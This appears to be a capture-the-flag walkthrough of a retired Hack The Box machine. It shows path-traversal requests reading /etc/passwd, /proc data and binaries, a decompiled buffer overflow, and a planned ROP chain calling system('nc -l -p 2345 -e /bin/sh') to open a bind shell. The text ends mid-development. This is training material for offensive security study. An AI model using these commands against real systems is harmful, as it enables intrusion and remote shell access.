Information Gathering
NMAP
$ nmap -oA namp-tcp-all-service -sC -p- -sV 10.129.227.96 -vvDiscovered open port 80/tcp on 10.129.227.96Discovered open port 22/tcp on 10.129.227.96Completed Connect Scan at 14:03, 30.98s elapsed (65535 total ports)22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)| ssh-hostkey: | 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=| 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/80/tcp open http syn-ack nginx| http-title: Agency - Start Bootstrap Theme|_Requested resource was /index.php?page=default.html|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA| http-methods: |_ Supported Methods: GET HEAD POSTService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Happy Pathing
Word List
- emuemu
- ostrich
- beta
- tester
- test
PHP information disclousure
<?phpfunction sanitize_input($param) { $param1 = str_replace("../","",$param); $param2 = str_replace("./","",$param1); return $param2;}$page = $_GET['page'];if (isset($page) && preg_match("/^[a-z]/", $page)) { $page = sanitize_input($page);} else { header('Location: /index.php?page=default.html');}readfile($page);?>
FUFF
- FUFF.php
$ ffuf -w from-web.txt -u http://10.129.227.96/index.php?page=FUZZ.php /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3________________________________________________ :: Method : GET :: URL : http://10.129.227.96/index.php?page=FUZZ.php :: Wordlist : FUZZ: from-web.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500________________________________________________test [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]beta [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]emuemu [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 78ms]tester [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 78ms]ostrich [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 78ms]:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
- FUFF.html
$ ffuf -w from-web.txt -u http://10.129.227.96/index.php?page=FUZZ.html /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3________________________________________________ :: Method : GET :: URL : http://10.129.227.96/index.php?page=FUZZ.html :: Wordlist : FUZZ: from-web.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500________________________________________________ostrich [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]emuemu [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]beta [Status: 200, Size: 4144, Words: 1137, Lines: 73, Duration: 80ms]tester [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 81ms]test [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 81ms]:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
http://10.129.227.96/index.php?page=beta.html
- Thoughts:
- Insecure file upload sanitation vuln php reverse shell? But first lets take a look at the PHP LFI
LFI
$ curl http://10.129.227.96/index.php?page=../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:104:105::/nonexistent:/usr/sbin/nologin_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologinsshd:x:106:65534::/run/sshd:/usr/sbin/nologinvagrant:x:1000:1000::/vagrant:/bin/bashsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologindev:x:1001:1001::/home/dev:/bin/bash
https://man7.org/linux/man-pages/man5/proc.5.html
https://idafchev.github.io/enumeration/2018/03/05/linux_proc_enum.html
Look at running process
- /proc/self/cmdline
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/self/cmdlineWarning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/self/cmdline --output cmd-self % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 78 0 78 0 0 510 0 --:--:-- --:--:-- --:--:-- 513$ cat cmd-self php-fpm: pool www
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/sched_debug Sched Debug Version: v0.11, 5.10.0-11-amd64 #1............0.000000 0.001724 0.000000 0 0 / S activate_licens 410 1503.981888 13 120 0.000000 2.254740 0.000000 0 0 / S in:imuxsock 420 19188.894905 1261 120 0.000000 31.588245 0.000000 0 0 / S in:imklog 421 12493.938694 13 120 0.000000 1.727961 0.000000 0 0 / S rs:main Q:Reg 424 19188.891458 1275 120 0.000000 34.949900 0.000000 0 0 / S dhclient 450 6341.433484 13 120 0.000000 3.587832 0.000000 0 0 / S isc-worker0000 452 17585.940317 12 120 0.000000 2.540064 0.000000 0 0 / S isc-socket 453 17585.764547 8 120 0.000000 0.322741 0.000000 0 0 / S isc-timer 454 17585.752858 9 120 0.000000 0.270197 0.000000 0 0 / I nfit 507 6030.446932 2 100 0.000000 0.019195 0.000000 0 0 / S php-fpm7.4 592 19214.834651 2686 120 0.000000 191.313343 0.000000 0 0 / S chronyd 598 18212.954059 53 120 0.000000 6.015704 0.000000 0 0 / R nginx 601 19215.815930 126 120 0.000000 31.008095 0.000000 0 0 / S nginx 602 15636.596945 25 120 0.000000 4.539751 0.000000 0 0 />R php-fpm7.4 607 19216.900704 36 120 0.000000 8.623996 0.000000 0 0 / I kworker/u4:1 1048 18771.414015 411 120 0.000000 35.327237 0.000000 0 0 / I kworker/1:1 1247 19048.985082 8 120 0.000000 0.100057 0.000000 0 0 / I kworker/1:0 1410 19054.990121 6 120 0.000000 0.085564 0.000000 0 0 /
- Interesting find:
- S activate_licens 410 1503.981888 13 120 0.000000 2.254740 0.000000 0 0 /
- Name: activate_licens
- PID: 410
- S activate_licens 410 1503.981888 13 120 0.000000 2.254740 0.000000 0 0 /
- Seems to be that the activate_licens proc we just enumerated is what we upload to to and not a PHP file. lets take a closer look to see what happens onces we submit a file.
- After submit we are redirect to /activate_license.php
- LIF this file
$ curl http://10.129.227.96/index.php?page=../../../../../../../var/www/html/activate_license.php -o activate_license.php % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 585 0 585 0 0 3826 0 --:--:-- --:--:-- --:--:-- 3848 $ cat activate_license. ```
<?phpif(isset($_FILES['licensefile'])) { $license = file_get_contents($_FILES['licensefile']['tmp_name']); $license_size = $_FILES['licensefile']['size']; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$socket) { echo "error socket_create()\n"; } if (!socket_connect($socket, '127.0.0.1', 1337)) { echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n"; } socket_write($socket, pack("N", $license_size)); socket_write($socket, $license); socket_shutdown($socket); socket_close($socket);}?>
- So the file we upload gets read by activate_licens binary it seems like. Lets checks activate_licens port number to see if it matches port 1337
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/net/tcp sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 11699 1 00000000433ce589 100 0 0 10 0 1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 11727 1 000000007fa8acd6 100 0 0 10 0 2: 0100007F:0539 00000000:0000 0A 00000000:00000000 00:00000000 00000000 33 0 12507 1 00000000e7787165 100 0 0 10 0 3: 60E3810A:0050 4C0E0A0A:CA82 01 00000000:00000000 00:00000000 00000000 33 0 23764 1 000000009f4ffbad 27 4 30 10 -1
- "local_address" is the local address and port number pair.
- So 0x0539 is the port number
$ printf "%d" 0x0539 1337
- Now we are 100% certain that http://10.129.227.96/activate_license.php is sending data that we supply to PID 410 or otherwise called the activate_licens binary.
- Lets download exe file with curl and see if there isn't a binary exploit (binex) we can do.
curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/exe --output activate_license 6 ⨯ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 22536 0 22536 0 0 97473 0 --:--:-- --:--:-- --:--:-- 97558
- Lets check the file out
$ file activate_license ; checksec activate_licenseactivate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info,not stripped[*] '/ctfs/htb/retired/binex/activate_license' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
- I can already tell that we are dealing some sort of buffer overflow since no stack canary is found. Futhermore, the file is not stripped so lets take a look at it in Ghidra.
- Alright here we are below you can see the main() and activate_license() functions below
void activate_license(int sockfd){ int iVar1; ssize_t sVar2; int *piVar3; char *pcVar4; sqlite3_stmt *stmt; sqlite3 *db; uint32_t msglen; char buffer [512]; sVar2 = read(sockfd,&msglen,4); if (sVar2 == -1) { piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); error(pcVar4); } msglen = ntohl(msglen); printf("[+] reading %d bytes\n",(ulong)msglen); sVar2 = read(sockfd,buffer,(ulong)msglen); if (sVar2 == -1) { piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); error(pcVar4); } iVar1 = sqlite3_open("license.sqlite",&db); if (iVar1 != 0) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } sqlite3_busy_timeout(db,2000); iVar1 = sqlite3_exec(db, "CREATE TABLE IF NOT EXISTS license ( id INTEGER PRIMARY KEY AUTOINCREMENT, license_key TEXT)" ,0,0,0); if (iVar1 != 0) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0); if (iVar1 != 0) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0); if (iVar1 != 0) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } iVar1 = sqlite3_step(stmt); if (iVar1 != 0x65) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } iVar1 = sqlite3_reset(stmt); if (iVar1 != 0) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } iVar1 = sqlite3_finalize(stmt); if (iVar1 != 0) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } iVar1 = sqlite3_close(db); if (iVar1 != 0) { pcVar4 = (char *)sqlite3_errmsg(db); error(pcVar4); } printf("[+] activated license: %s\n",buffer); return;}int main(int argc,char **argv){ int iVar1; __pid_t _Var2; int *piVar3; char *pcVar4; char clientaddr_s [16]; sockaddr_in clientaddr; socklen_t clientaddrlen; sockaddr_in server; uint16_t port; int clientfd; int serverfd; if (argc != 2) { error("specify port to bind to"); } iVar1 = __isoc99_sscanf(argv[1],&DAT_00102100,&port); if (iVar1 == -1) { piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); error(pcVar4); } printf("[+] starting server listening on port %d\n",(ulong)port); server.sin_family = 2; server.sin_addr = htonl(0x7f000001); server.sin_port = htons(port); serverfd = socket(2,1,6); if (serverfd == -1) { piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); error(pcVar4); } iVar1 = bind(serverfd,(sockaddr *)&server,0x10); if (iVar1 == -1) { piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); error(pcVar4); } iVar1 = listen(serverfd,100); if (iVar1 == -1) { piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); error(pcVar4); } puts("[+] listening ..."); while( true ) { while( true ) { clientfd = accept(serverfd,(sockaddr *)&clientaddr,&clientaddrlen); if (clientfd != -1) break; fwrite("Error: accepting client\n",1,0x18,stderr); } inet_ntop(2,&clientaddr.sin_addr,clientaddr_s,0x10); printf("[+] accepted client connection from %s:%d\n",clientaddr_s,(ulong)clientaddr.sin_port); _Var2 = fork(); if (_Var2 == 0) break; __sysv_signal(0x11,(__sighandler_t)0x1); close(clientfd); } close(serverfd); activate_license(clientfd); /* WARNING: Subroutine does not return */ exit(0);}
- So main calls activate_license() with the client file discriptor as an argument but only after it closes the serverfd.
- inside of activate_license we have a buffer of 512 bytes. However, there is a bufferoverflow with the below line of code.
sVar2 = read(sockfd,buffer,(ulong)msglen);
- msglen is set by the number of btyes inside our inputfile on the beta.html page.
- Since PIE is enabled in the binary we and no format string vulnerbilty was found we can assume we are going to do an ROPChain attack on the binary! First lets check is ALSR is enabled on the victim machine.
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/sys/kernel/randomize_va_space 2
- Alright ASLR is fully enabled thats okay though since the program is already loaded up into memory we can look at its memory mappings and determine where exec() is located within memory
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/maps 562c10f04000-562c10f05000 r--p 00000000 08:01 2408 /usr/bin/activate_license562c10f05000-562c10f06000 r-xp 00001000 08:01 2408 /usr/bin/activate_license562c10f06000-562c10f07000 r--p 00002000 08:01 2408 /usr/bin/activate_license562c10f07000-562c10f08000 r--p 00002000 08:01 2408 /usr/bin/activate_license562c10f08000-562c10f09000 rw-p 00003000 08:01 2408 /usr/bin/activate_license562c1221d000-562c1223e000 rw-p 00000000 00:00 0 [heap]7f668b051000-7f668b053000 rw-p 00000000 00:00 0 7f668b053000-7f668b054000 r--p 00000000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b054000-7f668b056000 r-xp 00001000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b056000-7f668b057000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b057000-7f668b058000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b058000-7f668b059000 rw-p 00004000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b059000-7f668b060000 r--p 00000000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b060000-7f668b070000 r-xp 00007000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b070000-7f668b075000 r--p 00017000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b075000-7f668b076000 r--p 0001b000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b076000-7f668b077000 rw-p 0001c000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b077000-7f668b07b000 rw-p 00000000 00:00 0 7f668b07b000-7f668b08a000 r--p 00000000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b08a000-7f668b124000 r-xp 0000f000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b124000-7f668b1bd000 r--p 000a9000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b1bd000-7f668b1be000 r--p 00141000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b1be000-7f668b1bf000 rw-p 00142000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b1bf000-7f668b1e4000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b1e4000-7f668b32f000 r-xp 00025000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b32f000-7f668b379000 r--p 00170000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b379000-7f668b37a000 ---p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b37a000-7f668b37d000 r--p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b37d000-7f668b380000 rw-p 001bd000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b380000-7f668b384000 rw-p 00000000 00:00 0 7f668b384000-7f668b394000 r--p 00000000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b394000-7f668b48c000 r-xp 00010000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b48c000-7f668b4c0000 r--p 00108000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b4c0000-7f668b4c4000 r--p 0013b000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b4c4000-7f668b4c7000 rw-p 0013f000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b4c7000-7f668b4c9000 rw-p 00000000 00:00 0 7f668b4ce000-7f668b4cf000 r--p 00000000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4cf000-7f668b4ef000 r-xp 00001000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4ef000-7f668b4f7000 r--p 00021000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4f8000-7f668b4f9000 r--p 00029000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4f9000-7f668b4fa000 rw-p 0002a000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4fa000-7f668b4fb000 rw-p 00000000 00:00 0 7ffecf8cb000-7ffecf8ec000 rw-p 00000000 00:00 0 [stack]7ffecf90a000-7ffecf90e000 r--p 00000000 00:00 0 [vvar]7ffecf90e000-7ffecf910000 r-xp 00000000 00:00 0 [vdso]
- What we are most interested in is the first libc-2.31.so address as thats where our best chance to find the gadgets and addresses we need to preform the ROPchain
-7f668b1e4000 r--p 00000000 08:01 3634
- So our base address for libc is 0x7f668b1bf000
- Lets curl the libc file and see the offset of system() and a couple other useful functions to see which one works (system() should be all we need but it is always good to have backup plans)
curl http://10.129.227.96/index.php?page=../../../../../../..//usr/lib/x86_64-linux-gnu/libc-2.31.so --output libc-2.31.so 23 ⨯ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 1796k 0 1796k 0 0 1707k 0 --:--:-- 0:00:01 --:--:-- 1707k$ objdump -M intel -d libc-2.31.so | grep -i system0000000000048e50 <__libc_system@@GLIBC_PRIVATE>: 48e53: 74 0b je 48e60 <__libc_system@@GLIBC_PRIVATE+0x10>$ objdump -M intel -d libc-2.31.so | grep -i exe 00000000000cb6c0 <execve@@GLIBC_2.2.5>: cb6cd: 73 01 jae cb6d0 <execve@@GLIBC_2.2.5+0x10>00000000000cb820 <execv@@GLIBC_2.2.5>: cb82a: e9 91 fe ff ff jmp cb6c0 <execve@@GLIBC_2.2.5>
- Awsome we have three functions we can try our exploit with
- system() at offset 0000000000048e50
- execve() at offset 00000000000cb6c0
- execv() at offset 00000000000cb820
- Im going to try using system() first since it takes only on argument: The command we want to execute.
- Now know the offet of system() and the starting address within memory of the libc libary containing system. We now know the address of system() within activate_licsencse on the remote host
0x48e50 + 0x7f668b1bf000 = 0x7f668b207e50
- Let's now find a binary we can call on the victim machine lets start with enumerating the /bin folder for outdated known vulnerable binaries like netcat.
$ curl http://10.129.227.96/index.php?page=../../../../../../../bin/nc --output nc 1 ⨯ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 34952 0 34952 0 0 144k 0 --:--:-- --:--:-- --:--:-- 144k$ ls -alh nc -rw-r--r-- 1 anon anon 35K Jul 26 16:02 nc $ chmod +x nc $ ./nc -h [v1.10-46]connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port]options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -k set keepalive option on socket -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -C Send CRLF as line-ending -z zero-I/O mode [used for scanning]port numbers can be individual or ranges: lo-hi [inclusive];hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
- BOOM! we just hit the jackpot to an easy shell post ROPChain! Since this is an outdated netcat we can set up a bind shell with the following evil string
"nc -l -p 2345 -e /bin/sh"
- Lets see what shells we can pick from on the victim machine
curl http://10.129.227.96/index.php?page=../../../../../../../etc/shells # /etc/shells: valid login shells/bin/sh/bin/bash/usr/bin/bash/bin/rbash/usr/bin/rbash/bin/dash/usr/bin/dash
- Okay lets review what we have so far
- A vulnerable binary that we supply a payload file to thats susspectable to a buffer overflow attack combined with a ROPChain calling system("nc -l -p 2345 -e /bin/sh")
- This should give us a bind shell to connect to on the victim machine at port 2345.
- All we need to do now is find the proper gadgets and the buffer flow padding which should just be buffersize + rbp size = 520 bytes until he hit the rip register to start controlling the execution of memory of the file.
- Also, we can not forget our target address for system() is 0x7f668b207e50.
- The first four registers used for passing parameters in a x86-64 file are the rdi, rsi, rdx, and rcx, regesters in that order. However, we only care about controlling the rdi register since system() only takes one parameter.
Exploit Devlopment
- For exploit dev lets set up a mock enviorment to test our inputs
- Start activeate_license on port 1337
$ lsactivate_license activate_license.php libc-2.31.so nc$ ./activate_license 1337[+] starting server listening on port 1337[+] listening ...
- Start a php server in the same directory as activate_license.php
$ php -S localhost:8000PHP 8.1.5 Development Server (http://localhost:8000) started
- test a post request to the php server with a test file
$ vim evil_file.txt
- evil_file.txt test containts
this is a test
- output:
$ curl -d @evil_file.txt http://localhost:8000/activate_license.php $ php -S localhost:8000[Tue Jul 26 16:26:00 2022] PHP 8.1.5 Development Server (http://localhost:8000) started[Tue Jul 26 16:32:12 2022] [::1]:55582 Accepted[Tue Jul 26 16:32:12 2022] [::1]:55582 [200]: POST /activate_license.php[Tue Jul 26 16:32:12 2022] [::1]:55582 Closing$ ./activate_license 1337[+] starting server listening on port 1337[+] listening ...
- Hmm nothing happpen lets alter how activate_license.php reads in a file
$ touch license.sqlite$ lsactivate_license activate_license.php evil_file.txt libc-2.31.so license.sqlite nc
- Okay now our mock enviroment is setup correctly. Lets try sending the evil file again
<?php $license = file_get_contents("./evil_file.txt"); $license_size = filesize("evil_file.txt"); $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$socket) { echo "error socket_create()\n"; } if (!socket_connect($socket, '127.0.0.1', 1337)) { echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n"; } socket_write($socket, pack("N", $license_size)); socket_write($socket, $license); socket_shutdown($socket); socket_close($socket);?>
- Let's try this again
- PHP Server Output:
[Tue Jul 26 17:19:28 2022] [::1]:55042 Accepted[Tue Jul 26 17:19:28 2022] [::1]:55042 [200]: GET /activate_license.php[Tue Jul 26 17:19:28 2022] [::1]:55042 Closing
- activate_license service output
[+] accepted client connection from 127.0.0.1:23233[+] reading 15 bytes[+] activated license: [+] accepted client connection from 127.0.0.1:8397[+] reading 15 bytes[+] activated license: this is a test
- There we go now we can focus on the ROPChain
- First lets find out buffer overflow
$ python3 -c "print('A' * 512 + 'BBBBBBBB' + 'CCCCCCCC')" > evil_file.txt $ curl http://localhost:8000/activate_license.php [+] accepted client connection from 127.0.0.1:21685 [+] reading 529 bytes[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC����$ sudo dmesg | tail [13788.355439] traps: activate_licens[8103] general protection fault ip:5555555555c0 sp:7fffffffdf28 error:0 in activate_license[555555555000+1000]
- Lets listen to the activate_licenes service with strace set to flow forked children
$ strace -ff -k -x -i -n -p 7818 strace: Process 7818 attached[ 43] [00007ffff7d768f3] accept(3,
- Run the curl command again
$ curl http://localhost:8000/activate_license.php
- Let's checkout strace now
[pid 8180] [ 0] [00007ffff7d6555e] read(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 529) = 529 > /usr/lib/x86_64-linux-gnu/libc-2.33.so(__read+0xe) [0xee55e] >/ctfs/htb/retired/binex/activate_license(activate_license+0x94) [0x13d1] > unexpected_backtracing_error [0x4343434343434343][pid 8180] [ 1] [00005555555555c0] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} --- > /ctfs/htb/retired/binex/activate_license(activate_license+0x283) [0x15c0] > unexpected_backtracing_error [0x4343434343434343][pid 8180] [ 1] [????????????????] +++ killed by SIGSEGV +++
- As you can see we got a SIGSEGV (aka segmentation fault) error meaning we successfully controlled the RIP regester. So are previous calculation of 520 bytes was correct as at byte number 521 we start overwritting the RIP register.
- Lets see what happens when we try the system() with no argument with strace following the programs flow of execution. Since we have a local exploit dev enviroment we can just use GDB to find out where the system() functions address in memory by attaching GDB to the process PID for activate_license
